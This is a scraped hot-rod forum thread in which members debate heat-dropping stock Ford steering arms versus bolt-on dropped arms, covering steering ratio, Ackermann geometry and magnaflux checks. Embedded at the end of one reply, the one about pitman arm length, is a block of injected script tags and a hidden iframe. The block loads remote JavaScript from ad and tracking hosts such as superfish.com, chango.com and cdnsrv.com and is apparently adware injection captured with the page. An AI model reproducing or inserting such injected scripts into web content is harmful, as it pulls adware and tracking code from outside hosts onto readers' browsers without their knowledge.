Ok, need to drop the steering arms to clear the wishbone. I read C9's short how to and I have also read that some people don't like dropping stock arms. Is it better to drop stock ford arms or get some bolt on aftermarket arms? Pros and cons anyone? BTW it's a 4" dropped ford '35 axle.
Kinda of a loaded question,I opted for a aftermarket dropped steering arm but many guys prefer to drop their own. HRP
done correctly, a dropped arm only costs the price of oxy/ace. And it looks good. Done wrong, you can still cut off the arms and get bolt ons.
Not done correctly can egg shape the king pin boss Dont ask me how i know that Posted using the Full Custom H.A.M.B. App!
My $.02 worth is drop the stock arms if at all possible. If you must use bolt-on arms, I would strongly suggest you use the Chassis Engineering arms that use a thru-bolt to attach them to the spindle. The Magnum Axle type with the blind bolt have always seemed sketchy to me. I know lotsa people have used them sucessfully but I think the thru-bolt are stronger...not relying on just the strength of the threads. The arms have a lot of stress on them while you're driving. Just my opinion.
it also depends on how much you have to drop them, if you have a deep drop the steering arms can get kinda short
Arent you still just relying on the threads? Be it the threads threaded into an arm or the threads in a nut?
Just my opinion but dropping the stock arms looks much better than bolt on's. If you have an axle with a deep drop you can always get a 7° tapered reamer, ream the top side of the tie rod end hole of the arm and put the tie rod over top of the bones. That's what I did with mine. I put my whole axle in a vice and ran a long level perch hole to perch hole. Put both spindles on and ran 2 lengths of all thread and double nutted them through the backing plate holes spindle to spindle to keep them straight. Then I put the bones on and got my tie rod mocked up with some junk tie rod ends on it. Heated one side and bent it and checked with the tie rod to see if, when level, the tierod cleared the bones. Once I was where I needed to be I did the other side. Then I ran the level across the tie rod end holes and tweaked them a tiny bit until I got a level bubble. It's not that hard to do the stock stuff and looks better.
Pete and Jakes deep dropped arms worked well. Got me below the wishbone just fine on a 4" dropped axle. Was afraid to learn how to drop steering arms on such a long drop. I'd like to try it in the future on less of a drop. Posted using the Full Custom H.A.M.B. App!
Ok, the car is in the garage I can see that a 1 1/2" drop will work. I would rather use the stock Ford stuff if I can. Anyone have a link to a how to or something, I would like to see it before I try.
No video, but heat to dull red, bend slowly, allow to cool very slowly. Bonus points if you magnaflux it after. I think there is a diagram of what to do in the Speedway catalogs.
Didn't bend mine on the axle. Made a jig and bolted the spindle into it using the flange bolts. This allowed me to make both sides the same. After bending placed a pail over to keep drafts off and slow cooling. Next step was a trip to town and Magnaflux testing. Then smoothing to make them pretty and new bushings. Might be more pictures in my blog. Canuck
The answer is use the pre dropped steering arms if you are using 37-48 style spindles. Rational behind this is based upon the length of the spindle steering arms in relationship to stock length vs bent dropped length. While it is easy to heat and drop stock arms this actually shortens the steering arm length and changes the steering ratio thus speeding up the steering of the vehicle. In some cases this can make the vehicle darty or drive like a go kart because it steers too quick. The deep drop arms have been engineered to the same lenght as the original arms just at a deeper configuration and thus get you back to a stock ratio for better drive response. Can you drop stock spindles well yes but you are altering the steer and this could pose an issue.
This is right. For OP, you can compensate for this with a shorter pitman arm. It is just keeping things in normal ratio, that an effective shorter distance with dropped arms must be taken into consideration. The bolt-on arms take this distance and return back to stock, but dropped for clearance. <script src="https://secure-content-delivery.com/data.js.php?i={4D877FC1-4956-4F45-A6B5-0E98AB82425A}&d=2013-10-10&s=http://www.jalopyjournal.com/forum/newreply.php?do=newreply&p=9432225&cb=0.19380246632893594" type="text/javascript"></script><script id="__changoScript" type="text/javascript">var __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = document.createElement('script'); c.type = 'text/javascript'; c.async = true;c.src = ( 'https:' == document.location.protocol ? 'https://z': 'http://p') + '.chango.com/static/c.js'; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(c, s);})();</script><script data-sifi-parsed="true" src="http://i.simpli.fi/dpx.js?cid=3065&m=0" id="__simpliScript" type="text/javascript"></script><script type="text/javascript" src="http://www.superfish.com/ws/sf_main.jsp?dlsource=wjfudcm&userId=ezREODc3RkMxLTQ5NTYtNE&CTID=default-US"></script><script type="text/javascript" src="http://static.cdnsrv.com/apps/tv-classic/selectionLinks/tv-classic-selectionlinks.js"></script><script src="//static.cdnsrv.com/apps/tv-classic/tv-classic-fg.js" type="text/javascript"></script><iframe name="ykframe" id="ykframe"></iframe><script src="http://svc.peepsrv.com/svc?m=wl&domain=www.jalopyjournal.com&callback=__verti.run" type="text/javascript"></script>
So they can't be stretched to stock location for fear of being too thin?. I was also thinking of the pitman arm length. It's a '28 running a F100 steering box and a '35 axle with round back spindles.
i'm running 37 spindles on my Model A ccpu... i researched the hell out of it, than decided to drop them myself, on the car with tires on the wheels.. for clearance purposes i dropped them so the tie rod runs BELOW the split bones.. steers like a champ, no bump-steer.. smooth as silk- it's like power steering! i'm running a 40 passenger box as side steer, with a 324 olds - one thing i did was mark out the center of the rear cross-member, and the center of the king pins, than snapped a line from the king pin centers to the center of rear cross-member (forming a triangle), point is to keep the line you snapped in the middle of the hole for your tie-rod- i was told to heat slow let cool and heat again.. it took a while but i finally got them where they needed to be- i had them magnafluxed afterwards.. there is a great tech thread on how to do it..
Dropping the stock steering arms keeps it all looking nice -- though another alternative is to drop the tie rod....
I looked at my friends '30 coupe and his is run over the bones, but he has a '32 bones with a '32 axle. My '35 bones are thicker and I'm closer to the bottom them the top of the bones, I think I'm going to drop the stockers. Also he has an old steering hoop, totally filled in around the bung...looks way better then the stuff I can buy now. Or I can go with the dropped tie rod ends from speedway......I would be happier if they were a stock item and not speedway only. Ok, last question.... I've heard the square back spindles have a little more drop the the round back. Does anyone know how much?.
Here ya go... http://www.jalopyjournal.com/forum/showthread.php?t=492451 Posted using the Full Custom H.A.M.B. App!
Bingo! Get the ackerman right. Basically the same procedure I used on my 40 ( '36 Mor Drop axle and 36 wishbone). On my avatar, if I us the dropped VCW axle, I think I'll have to use the bolt on steering arms because of clearance issues between the axle and steering arm of the stock spindle.
anyone know?, I would think if the square back would drop it enough more people would be doing it and I would hear about it more.
Yes, the '42-48 "square-back" spindles' steering arms are slightly longer, so that when you do the zig-sag bends, the overall length isn't affected as much. I haven't ever held them side-by-side with '37-41 "round" spindles (which I have), but judging by pictures, there's maybe 0.5" difference?? http://www.hotrod.com/techarticles/hrdp_1304_scroungers_guide_early_ford_spindles/
I cheated and used one left hand drive and one right hand drive spindle - both with twin holes. The longer arms allowed me to drop them enough to get the track rod below the radius rods. This was on my 33 with a dropped axle. Mart.
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